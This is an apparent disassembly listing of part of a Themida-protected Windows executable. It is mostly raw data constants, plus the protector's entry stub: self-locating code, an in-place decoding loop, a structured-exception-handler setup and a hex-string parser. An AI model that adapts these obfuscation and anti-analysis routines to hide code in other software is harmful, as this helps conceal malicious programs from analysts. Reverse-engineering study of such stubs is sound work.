		dd 49480000h, 1BE0057h,	78F4h, 8 dup(0)
		dd 66E80000h, 3	dup(0)
		dd 67370000h, 0A1440057h, 77E7h, 7F3F0000h, 909h, 0
		dd 0F00000h, 3 dup(0)
		dd 3040000h, 3047FFEh, 7FFEh, 4	dup(0)
		dd 391E0000h, 0A0h, 3 dup(0)
		dd 92180000h, 0FFFFh, 56430000h, 2 dup(0)
		dd 69DD0000h, 9Fh, 2 dup(0)
		dd 23D70000h, 4A5277DDh, 655Dh,	7 dup(0)
		dd 66E80000h, 6	dup(0)
		dd 0E0A10000h, 58h, 59AD0000h, 57h, 8 dup(0)
		dd 3040000h, 4 dup(0)
		dd 99180000h, 0FFA7h, 0Ah dup(0)
		dd 4260000h, 58h, 61B40000h, 659C0000h,	688Bh, 3 dup(0)
		dd 230000h, 57h, 25h dup(0)
		dd 58400000h, 0A6E90058h, 96B977EBh, 59h, 607B0000h, 58h
		dd 8 dup(0)
		dd 0FFB00000h, 1CFh, 0
		dd 0FFA40000h, 20012h, 3 dup(0)
		dd 0C1F80000h, 5Ah, 0Bh	dup(0)
		dd 0A1200000h, 0D7AFFFFFh, 53h,	0D2BE0000h, 53h, 5 dup(0)
		dd 66E80000h, 5E140000h, 0F282h, 2 dup(0)
		dd 0BEEB0000h, 0F7F6h, 2 dup(0)
		dd 76B4h, 9D7B0000h, 57h, 3 dup(0)
		dd 3E0000h, 77E6h, 24D0000h, 1B3h, 4EAC0000h, 274505FBh
		dd 5Ah,	4 dup(0)
		dd 0A13F0000h, 30477E7h, 7FFEh,	5 dup(0)
		dd 59740000h, 8655h, 0
		dd 44AF0000h, 57h, 6 dup(0)
		dd 3040000h, 0FFA47FFEh, 0B80012h, 0B000000h, 0C20374C0h
		dd 448B0018h, 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd 8C840000h, 893Bh, 0DD950000h, 0AEFFh, 5F700000h, 1E8Ah
		dd 72C30000h, 7FFEh, 0
		dd 662C0000h, 2	dup(0)
		dd 130000h, 5A58h, 4 dup(0)
		dd 10000h, 482C0000h, 0F46EBDF2h, 56h, 4 dup(0)
		dd 73160000h, 0A1h, 0Ah	dup(0)
		dd 87990000h, 3580h, 10h dup(0)
		dd 0DA580000h, 0FFA5h, 0
		dd 6D9D0000h, 102h, 0
		dd 0F9D50000h, 5Bh, 28h	dup(0)
		dd 3E280000h, 0ACD3h, 47330000h, 57h, 0
		dd 0F38E0000h, 0FEF7h, 0A2C80000h, 6CB80000h, 248h, 0FBA90000h
		dd 0FFFFh, 2 dup(0)
		dd 7C510000h, 7C8826h, 5 dup(0)
		dd 15CE0000h, 66E80058h, 2 dup(0)
		dd 0FC1A0000h, 0F530D683h, 65h,	66E80000h, 3 dup(0)
		dd 0C1D20000h, 1, 5 dup(0)
		dd 0A75D0000h, 0D5D6h, 4 dup(0)
		dd 10000h, 8 dup(0)
		dd 0F2CB0000h, 7FFEh, 0
		dd 70990000h, 567B0747h, 5 dup(0)
		dd 7FFF0000h, 57h, 23E80000h, 0A0h, 0FFFF0000h,	0FFFFh
		dd 9 dup(0)
		dd 1A340000h, 5Ah, 6 dup(0)
		dd 0A80000h, 2 dup(0)
		dd 8C020000h, 59h, 44420000h, 689Fh, 0Eh dup(0)
		dd 662C0000h, 2	dup(0)
		dd 9C880000h, 3E28CABFh, 0ACD3h, 3 dup(0)
		dd 21210000h, 2121h, 14340000h,	0
		dd 0E8130000h, 0FFFFh, 800000h,	51260000h, 58h,	5 dup(0)
		dd 3040000h, 595C7FFEh,	57h, 5 dup(0)
		dd 595C0000h, 57h, 0B6h	dup(0)
		dd 2C700000h, 0DBBE0057h, 72A3h, 3 dup(0)
		dd 40A50000h, 58h, 0
		dd 259h, 92180000h, 0FFFFh, 2 dup(0)
		dd 41E40000h, 199h, 0
		dd 0C4620000h, 0BD58h, 0
		dd 190000h, 0A81E0000h,	0E80C0057h, 97740058h, 8000005Ah
		dd 3, 0
		dd 2AB80000h, 5Ah, 0A00F0000h, 9Fh, 40h, 4 dup(0)
		dd 0FCFC0000h, 8001h, 5	dup(0)
		dd 258h, 7 dup(0)
		dd 59260000h, 7C4h, 10h	dup(0)
		dd 36F80000h, 0FFADh, 2	dup(0)
		dd 0FEF00000h, 2C8D0012h, 59h, 3 dup(0)
		dd 0D2BE0000h, 0F2030057h, 53h,	543F0000h, 78FDh, 4 dup(0)
		dd 93C30000h, 1DABh, 3 dup(0)
		dd 28Ah, 7 dup(0)
		dd 48E30000h, 783Bh, 5 dup(0)
		dd 662C0000h, 14h dup(0)
		dd 56430000h, 0
		dd 23400000h, 14h, 3 dup(0)
		dd 0BEA90000h, 57h, 3EB80000h, 0ACDBh, 25h dup(0)
		dd 0FFB00000h, 7FFEh, 0
		dd 7F3F0000h, 909h, 0A9A0000h, 66E8009Eh, 0
		dd 92180000h, 70FFFFh, 0
		dd 9C880000h, 5EC5CABFh, 5Ah, 0
		dd 0B5E20000h, 8A0Fh, 0
		dd 20000h, 1Ch dup(0)
		dd 5C750000h, 0E103h, 0AC0000h,	4 dup(0)
		dd 0D6FE009Eh, 703Bh, 87h dup(0)
		dd 92340000h, 9Fh, 5 dup(0)
		dd 0E800000h, 66E80000h, 3 dup(0)
		dd 7FD80000h, 0A1h, 2 dup(0)
		dd 10000h, 0
		dd 6FA40000h, 4	dup(0)
		dd 3EB80000h, 0A6DAACDBh, 0DCF83Bh, 4 dup(0)
		dd 77DDh, 4 dup(0)
		dd 29230000h, 7C64h, 0
		dd 1B2B0000h, 77F5h, 215C0000h,	77E8h, 0
		dd 0FB840000h, 0EF74h, 2 dup(0)
		dd 18F90000h, 596E005Bh, 57h, 4	dup(0)
		dd 47330000h, 57h, 0
		dd 8C0A0000h, 9Fh, 0FEF00000h, 12h, 0A1A90000h,	0FFFFh
		dd 0
		dd 0CAD30000h, 1E01h, 0
		dd 3040000h, 7FFEh, 0
		dd 894Ch, 8 dup(0)
		dd 0A00F0000h, 9Fh, 0C20C0000h,	56h, 32680000h,	0DA8900A0h
		dd 2892D0Ch, 5Bh, 4 dup(0)
		dd 15680000h, 0A0h, 0
		dd 10000h, 4 dup(0)
		dd 6BCE0000h, 248h, 30DF0000h, 0FFFFA9C5h, 7FFFh, 3 dup(0)
		dd 77D4h, 6 dup(0)
		dd 34300000h, 400312Dh,	6 dup(0)
		dd 0FABE0000h, 9F3Eh, 66E80000h, 4570058h, 5Ah,	5 dup(0)
		dd 1CD30000h, 5Ah, 0
		dd 2CEA0000h, 59h, 0
		dd 0B9000000h, 0E75h, 2	dup(0)
		dd 0F9C50000h, 10000h, 0
		dd 25B60000h, 58h, 3 dup(0)
		dd 0F5660000h, 0FF61h, 2 dup(0)
		dd 28030000h, 0A13Bh, 0
		dd 3F820000h, 0A186h, 4	dup(0)
		dd 77F5h, 0
		dd 66E80000h, 5CD0h, 0Ch dup(0)
		dd 94900000h, 6F56h, 2 dup(0)
		dd 8FD90000h, 91A24EECh, 9B76h,	3 dup(0)
		dd 0FBA90000h, 0EAF9FFFFh, 7D23h, 3 dup(0)
		dd 0CD5B0000h, 527Eh, 0EDB80000h, 53h, 4 dup(0)
		dd 80A30000h, 0CDA6h, 0
		dd 6C0000h, 2 dup(0)
		dd 21860000h, 5Ah, 0
		dd 183A0000h, 105005Bh,	0A28h, 0
		dd 0B8E30000h, 56h, 3 dup(0)
		dd 68CA0000h, 0B976h, 7	dup(0)
		dd 35B0000h, 0D9220000h, 0A081h, 69DD0000h, 9Fh, 0
		dd 0E78D0000h, 2 dup(0)
		dd 0E4FD0000h, 162Fh, 6	dup(0)
		dd 0B2C50000h, 5B809555h, 0A220057h, 9C8837F2h,	0E167CABFh
		dd 0E9D8h, 5 dup(0)
		dd 7B300240h, 0FFFFh, 0A00F0000h, 57h, 12h dup(0)
		dd 94540000h, 53FA03A7h, 0B000005Ah, 6B8D001Bh,	5FDFh
		dd 3 dup(0)
		dd 10000h, 3 dup(0)
		dd 0A1FE0000h, 0DB5E00AFh, 9C8872A3h, 0CABFh, 2	dup(0)
		dd 0B80000h, 2 dup(0)
		dd 0B1340000h, 30DF00A1h, 8EA50000h, 97Dh, 3 dup(0)
		dd 0C6000000h, 3, 2 dup(0)
		dd 71F40000h, 59h, 0
		dd 88E10000h, 0AE57FFA8h, 46C8Ah, 53B60000h, 254Ah, 11h	dup(0)
		dd 3040000h, 0FF607FFEh, 12h, 2	dup(0)
		dd 0FE360000h, 859h, 0
		dd 8A970000h, 59h, 0A00F0000h, 9Fh, 893E0000h, 0CDBE0000h
		dd 0D5FFh, 3 dup(0)
		dd 4BAC0000h, 8D5378B5h, 0A3h, 4 dup(0)
		dd 0E4FD0000h, 162Fh, 0
		dd 345B0000h, 5Ah, 0
		dd 21680000h, 77E8h, 0
		dd 94990000h, 1560009Fh, 0A0h, 4 dup(0)
		dd 12540000h, 77F5h, 0A24D0000h, 85A4971Fh, 0ED7A0058h
		dd 492Ch, 5 dup(0)
		dd 86040000h, 7FFEh, 0BC6E0000h, 36360053h, 4BA03636h
		dd 0A8D00B50h, 18F9005Ah, 5Bh, 0E90000h, 4, 3 dup(0)
		dd 0FFB00000h, 1CFh, 8C0A0000h,	3215009Fh, 86B50058h, 5AB7h
		dd 2 dup(0)
		dd 0A0370000h, 9Fh, 3 dup(0)
		dd 0EBB30000h, 77F7h, 2	dup(0)
		dd 46E80000h, 7	dup(0)
		dd 0A00F0000h, 9Fh, 3040000h, 0BBCE7FFEh, 53h, 2 dup(0)
		dd 9BAC0000h, 0A1h, 0
		dd 7EAB0000h, 57h, 7 dup(0)
		dd 3FA10000h, 58h, 0Ah dup(0)
		dd 33480000h, 3041FA8h,	7FFEh, 4 dup(0)
		dd 3040000h, 9FB57FFEh,	3184h, 0
		dd 0BC6E0000h, 53h, 0
		dd 0F9C50000h, 0
		dd 0FC740000h, 17DFh, 6	dup(0)
		dd 40180000h, 0
		dd 0FEF40000h, 12h, 0Bh	dup(0)
		dd 62850000h, 0FFA8h, 76CD0000h, 77E7h,	8D8D0000h, 3B7A6D51h
		dd 9C8818h, 2 dup(3040000h), 7FFEh, 5 dup(0)
		dd 77E6h, 3040000h, 7FFEh, 2 dup(0)
		dd 3A10000h, 189A0000h,	77DDh, 0
		dd 35790000h, 0C0F8005Ah, 0B0h,	0F9B00000h, 93935FA9h
		dd 9Fh,	0
		dd 215C0000h, 2, 4 dup(0)
		dd 99950000h, 0A3h, 0
		dd 91CF0000h, 3638h, 0
		dd 67B30000h, 3851DCh, 0
		dd 6CB00000h, 9Fh, 3 dup(0)
		dd 2AB80000h, 0A9A005Ah, 9Eh, 3	dup(0)
		dd 9E120000h, 0FE47h, 2	dup(0)
		dd 81C00000h, 7FFEh, 7 dup(0)
		dd 79630000h, 77E7h, 5 dup(0)
		dd 20A70000h, 0D42Dh, 0
		dd 980000h, 519D0000h, 0B368h, 5 dup(0)
		dd 92530000h, 12DAh, 2 dup(0)
		dd 0D2340000h, 5ECC0054h, 77DDh, 0Ah dup(0)
		dd 3A860000h, 8	dup(0)
		dd 0D7A70000h, 46C821F4h, 51D6h, 0
		dd 0C96A0000h, 0B9B777D4h, 552h, 6 dup(0)
		dd 0F1730000h, 0
		dd 8B820000h, 77E7h, 5 dup(0)
		dd 6E580000h, 3	dup(0)
		dd 144C0000h, 0C4A0FFFEh, 5Ah, 0
		dd 3B80000h, 0A58B0000h, 98F10058h, 0FFA5h, 3040000h, 7FFEh
		dd 180B0000h, 77F5h, 5CB50000h,	77E7h, 7BBC0000h, 9BFDh
		dd 0A2FF0000h, 57h, 0
		dd 5DC30000h, 6180056h,	77E8h, 4 dup(0)
		dd 0F11A0000h, 58h, 7 dup(0)
		dd 595C0000h, 57h, 0Ah dup(0)
		dd 20000h, 8 dup(0)
		dd 0C4860000h, 77E7h, 20000h, 2	dup(0)
		dd 0C5AD0000h, 73E921CDh, 57h, 0
		dd 0FFC40000h, 12h, 2Dh	dup(0)
		dd 0D00000h, 500000h, 0F531FE40h, 3040053h, 58h, 662C0000h
		dd 2 dup(0)
		dd 8B820000h, 30477E7h,	7FFEh, 0Ah dup(0)
		dd 5CB50000h, 5CB577E7h, 77E7h,	0
		dd 2D230000h, 59h, 595C0000h, 57h, 2 dup(0)
		dd 20000h, 0Ah dup(0)
		dd 1248025Bh, 0FFACh, 9	dup(0)
		dd 22220000h, 22222222h, 2222h,	0
		dd 0F4460000h, 56h, 7 dup(0)
		dd 39200000h, 0A0h, 7 dup(0)
		dd 93EF0000h, 77E7h, 0
		dd 5740000h, 0FA89E49Dh, 100017BCh, 40h, 0
		dd 0A40000h, 0Ch dup(0)
		dd 3B7A0000h, 8818h, 169A0000h,	9 dup(0)
		dd 0C96A0000h, 6B8477D4h, 8 dup(0)
		dd 3040000h, 0
		dd 0CA0A0000h, 53h, 3 dup(0)
		dd 27650000h, 1005Ah, 0
		dd 780000h, 22AC0000h, 10h dup(0)
		dd 0A00000h, 7 dup(0)
		dd 3040000h, 7FFEh, 0Bh	dup(0)
		dd 0EDB80000h, 53h, 7A1D0000h, 5Ah, 0Fh	dup(0)
		dd 1E990000h, 1627h, 4 dup(0)
		dd 0F1D30000h, 0F1F40056h, 0D62Bh, 0
		dd 69DD0000h, 9Fh, 71h dup(0)
		dd 6E000000h, 5Ah, 10h dup(0)
		dd 0B3BD0000h, 5A0AAE00h, 57h, 0
		dd 662C0000h, 0
		dd 0D5540000h, 9Eh, 595C0000h, 2BD80057h, 3B0Ah, 0
		dd 10000h, 2 dup(0)
		dd 267C0000h, 0E0F6h, 2	dup(0)
		dd 95220000h, 0BA4Ch, 0
		dd 0FF170000h, 0FFFBh, 662C0000h, 0Bh dup(0)
		dd 98E30000h, 5AFFh, 5A0A0000h,	57h, 6BCE0000h,	248h, 4	dup(0)
		dd 409B0000h, 3A019DBh,	0
		dd 0A00F0000h, 97740057h, 5Ah, 2 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0F3BE0000h, 58h,	2 dup(0)
		dd 84C0000h, 0E0000000h, 4Dh, 0FCFC0000h, 8001h, 2FE80000h
		dd 77E8h, 0Dh dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 84h dup(0)
		dd 10000h, 2 dup(0)
		dd 69DD0000h, 0
		dd 24240000h, 2424h, 4 dup(0)
		dd 20000h, 58h,	0
		dd 940000h, 2 dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 4000000h, 10000h, 9 dup(0)
		dd 11110000h, 0C2C31111h, 6CB0B2D1h, 6D30009Fh,	56h, 3 dup(0)
		dd 9F70000h, 9Fh, 3 dup(0)
		dd 822C0000h, 1EEB005Ah, 56h, 7	dup(0)
		dd 31EB0000h, 981Bh, 0Ah dup(0)
		dd 0A33C0000h, 0F4EFh, 6 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 0FA560000h, 9Fh, 63C40000h, 20000h, 4 dup(0)
		dd 40000h, 3 dup(0)
		dd 0D0000000h, 0BD7A000Dh, 77E9h, 0
		dd 0BEA90000h, 57h, 3 dup(0)
		dd 0D4E90000h, 16Fh, 2 dup(0)
		dd 0F4660000h, 33330057h, 2 dup(33333333h), 3333h, 0
		dd 8C0000h, 0A600000h, 6F8FFFEh, 3641028Ah, 0FFA5h, 662C0000h
		dd 3E280000h, 0ACD3h, 5	dup(0)
		dd 0FCFC0000h, 31458001h, 6826009Fh, 2384h, 14h	dup(0)
		dd 98980000h, 375Ch, 0
		dd 3040000h, 7FFEh, 0
		dd 0B3B70000h, 3040057h, 7FFEh,	0
		dd 0A6B20000h, 0BF29h, 9 dup(0)
		dd 6F340000h, 66E81777h, 740000h, 0Dh dup(0)
		dd 20000h, 0
		dd 140000h, 0Eh, 3 dup(0)
		dd 0B6B80000h, 0FFA8h, 2 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0ADh, 3 dup(0)
		dd 0F1ED0000h, 56h, 5 dup(0)
		dd 69DD0000h, 9Fh, 8 dup(0)
		dd 0E230000h, 202h, 7D10000h, 2	dup(0)
		dd 40000h, 7 dup(0)
		dd 4C430000h, 51FFh, 30A3025Ah,	57h, 0Eh dup(0)
		dd 9Eh,	0AC5E0000h, 77E7h, 3 dup(0)
		dd 59A00000h, 57h, 4 dup(0)
		dd 0EA360000h, 2D67FF54h, 70C4005Ah, 9Fh, 5D380000h, 1A46h
		dd 2 dup(0)
		dd 9FEB0000h, 66E89E12h, 0
		dd 0C4A60000h, 53h, 4 dup(0)
		dd 50BB0000h, 58h, 3E280000h, 0ACD3h, 68540000h, 64696D65h
		dd 61h,	2Dh dup(0)
		dd 40060000h, 0A099ED7Eh, 6D3077E7h, 56h, 9 dup(0)
		dd 0B6h, 4 dup(0)
		dd 0C0E80000h, 0
		dd 0FCA70000h, 6EAF6525h, 5Fh, 6 dup(0)
		dd 471D0000h, 0FFA9h, 0
		dd 0A00F0000h, 0D706009Fh, 77E6h, 6 dup(0)
		dd 93480000h, 8BF3FDB7h, 73C6h,	8 dup(0)
		dd 22920000h, 9Fh, 2 dup(0)
		dd 616D77F5h, 0AA370058h, 5A3h,	0CA0A0000h, 53h, 9 dup(0)
		dd 0C4860000h, 30DF77E7h, 0D7AEA9C5h, 53h, 0
		dd 662C0000h, 4	dup(0)
		dd 22D80000h, 0A0h, 5FF10000h, 0FF60h, 8EA50000h, 97Dh
		dd 2 dup(0)
		dd 0FA010000h, 0FFF017BCh, 66E80012h, 0
		dd 8B870000h, 5Ah, 0
		dd 595C0000h, 57h, 61540000h, 0D5B0h, 3	dup(0)
		dd 0CC0000h, 0
		dd 915B0000h, 44AF009Fh, 57h, 880000h, 0A80000h, 0Bh dup(0)
		dd 3EB80000h, 304ACDBh,	17FFEh,	662C0000h, 0
		dd 3040000h, 7FFEh, 0
		dd offset dword_4FF844+7BCh
		dd 8001h, 3040000h, 847FFEh, 10960000h,	4468h, 3 dup(0)
		dd 6C910000h, 817Dh, 6 dup(0)
		dd 2E0F0000h, 690077F5h, 0FFA8h, 0B1B50000h, 57h, 0BFC0000h
		dd 0EF080000h, 5Ah, 0
		dd 58E00000h, 58h, 7 dup(0)
		dd 471D0000h, 0A99BFFA9h, 5F96h, 6 dup(0)
		dd 3040000h, 7FFEh, 59F00000h, 0A37C77DDh, 5E2EFFFFh, 69DD009Fh
		dd 9Fh,	9 dup(0)
		dd 0A5FD0000h, 77E7h, 0
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 0C0F50000h, 0A5EDh, 2 dup(0)
		dd 0F7750000h, 0F7E2B0B3h, 0Fh dup(0)
		dd 0FE60000h, 595C009Eh, 57h, 0
		dd 6A3D0000h, 57h, 0
		dd 0B1CA0000h, 0ADh, 1Fh dup(0)
		dd 69DD0000h, 9Fh, 0
		dd 7E60000h, 3 dup(0)
		dd 409B0000h, 19DBh, 0
		dd 900000h, 5 dup(0)
		dd 0FEF00000h, 12h, 67F00000h, 595C0012h, 91E40057h, 1213h
		dd 0Ah dup(0)
		dd 29C60000h, 5Ah, 4 dup(0)
		dd 0A1440000h, 77E7h, 2	dup(0)
		dd 2BDE0000h, 9Fh, 96180000h, 9218FFACh, 3EB8FFFFh, 1B40ACDBh
		dd 0F51976B4h, 90B3h, 33660000h, 0ED5C0058h, 58h, 2 dup(0)
		dd 662C0000h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E726:				; CODE XREF: start:loc_53B3A5j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 607338Bh
		mov	[ebp+607200Dh],	edx
		mov	[ebp+6071F31h],	esi
		mov	[ebp+6072FF9h],	eax
		cmp	dword ptr [ebp+60710D9h], 0
		jz	short loc_53E75E
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53E75E:				; CODE XREF: start+5E73Cj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+60730D9h],	eax
		push	45h
		call	sub_53E812
		push	783749Ah
		call	sub_53E858
		push	0A894B25h
		call	sub_53E858
		jmp	loc_53E99C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53E812	proc near		; CODE XREF: start+5E756p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6073479h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53E82E:				; CODE XREF: sub_53E812+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53E84D
		mov	eax, [ebp+arg_0]
		mov	[ebx+60733E3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53E82E
; ---------------------------------------------------------------------------


loc_53E84D:				; CODE XREF: sub_53E812+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53E812	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53E858	proc near		; CODE XREF: start+5E760p start+5E76Ap

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60734C2h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53E87E:				; CODE XREF: sub_53E858+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53E87E
		mov	[ebp+var_84], 0
		lea	edi, [edx+60733E3h]
		lea	esi, [ebp+var_80]


loc_53E8AE:				; CODE XREF: sub_53E858+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53E8BA:				; CODE XREF: sub_53E858+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53E8BA
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53E8AE
		popa
		leave
		retn	4
sub_53E858	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53E8F8
; ---------------------------------------------------------------------------


loc_53E8F4:				; CODE XREF: Themida_:0053E8FBj
		inc	dword ptr [ebp-4]
		inc	esi


loc_53E8F8:				; CODE XREF: Themida_:0053E8F2j
		cmp	byte ptr [esi],	0
		jnz	short loc_53E8F4
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53E989
; ---------------------------------------------------------------------------


loc_53E90A:				; CODE XREF: Themida_:0053E98Cj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53E980
; ---------------------------------------------------------------------------


loc_53E913:				; CODE XREF: Themida_:0053E984j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53E96D
; ---------------------------------------------------------------------------


loc_53E923:				; CODE XREF: Themida_:0053E971j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53E945
		cmp	bl, 39h
		ja	short loc_53E945
		sub	bl, 30h
		jmp	short loc_53E967
; ---------------------------------------------------------------------------


loc_53E945:				; CODE XREF: Themida_:0053E939j
					; Themida_:0053E93Ej
		cmp	bl, 61h
		jb	short loc_53E957
		cmp	bl, 66h
		ja	short loc_53E957
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53E967
; ---------------------------------------------------------------------------


loc_53E957:				; CODE XREF: Themida_:0053E948j
					; Themida_:0053E94Dj
		cmp	bl, 41h
		jb	short loc_53E967
		cmp	bl, 46h
		ja	short loc_53E967
		sub	bl, 41h
		add	bl, 0Ah


loc_53E967:				; CODE XREF: Themida_:0053E943j
					; Themida_:0053E955j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53E96D:				; CODE XREF: Themida_:0053E921j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53E923
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53E97D
		mov	eax, [ebp-10h]
		stosb


loc_53E97D:				; CODE XREF: Themida_:0053E977j
		inc	dword ptr [ebp-8]


loc_53E980:				; CODE XREF: Themida_:0053E911j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53E913
		add	edx, 4


loc_53E989:				; CODE XREF: Themida_:0053E908j
		cmp	edx, [ebp-4]
		jb	loc_53E90A
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E99C:				; CODE XREF: start+5E76Fj
		mov	ecx, 7000h
		lea	edi, [ebp+6073608h]


loc_53E9A7:				; CODE XREF: start+5E997j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53E9A7
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+607370Ch]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jmp	loc_53E9E3
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 65h,	20h, 0ADh
		db 65h,	84h, 3Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E9E3:				; CODE XREF: start+5E9C4j
		mov	bx, ax
		sub	eax, edx
		call	sub_53E9FE
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0D9h, 4Ah, 0B5h
		dd 0A2C24DBAh, 0ADFC485Eh, 2E737809h
		db 99h,	0F3h

; =============== S U B	R O U T	I N E =======================================



sub_53E9FE	proc near		; CODE XREF: start+5E9D4p
		pop	ebx
		and	eax, 0FFFFF000h
		push	0
		push	eax
		call	sub_53EA0F
		and	[eax-3Dh], bl
sub_53E9FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_53EA0F	proc near		; CODE XREF: sub_53E9FE+9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_53EA0F	endp

; ---------------------------------------------------------------------------
		db 0F4h
		dd 0DF8BE026h, 0FF33CA8Bh, 4D388166h, 0F0E755Ah, 33C50B7h
		dd 503A81D0h, 74000045h, 10002D08h, 0EB470000h,	58F64E3h
		dd 0
		dd 8D04C483h, 7371F95h,	0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 372AED81h, 858D0607h
		dd 60736E8h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 8B6604C4h, 0B3C780DFh, 0BBD98C66h, 42F8A670h, 6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 819DC351h, 5F0E90C3h, 0FC90A53h, 5A85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 5E060EDBh, 0D88B66C4h, 0C761F560h, 7199585h,	106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 6725A117h, 0E9DE8B29h, 10h, 0C7DBB70Fh, 7199585h, 6
		dd 0DFB70F00h, 1A98589h, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0FE92BC3h, 24000000h
		dd 0E89898Ah, 0EA4DD244h, 0E84E2CE3h, 8589460Bh, 60712EDh
		dd 13E8h, 8BC6BF00h, 444AAE85h,	2AEA3A5Eh, 0A26063B4h
		dd 76F0DF04h, 5BD38B66h, 0A7ADF81h, 0C381646Fh,	71B0h
		dd 0A7F5BA66h, 1C31B9h,	0FFBA6600h, 6633FFD3h, 6658D78Bh
		dd 4360EE81h, 7DFCF081h, 81F83587h, 0B0B01DE8h,	71BA6668h
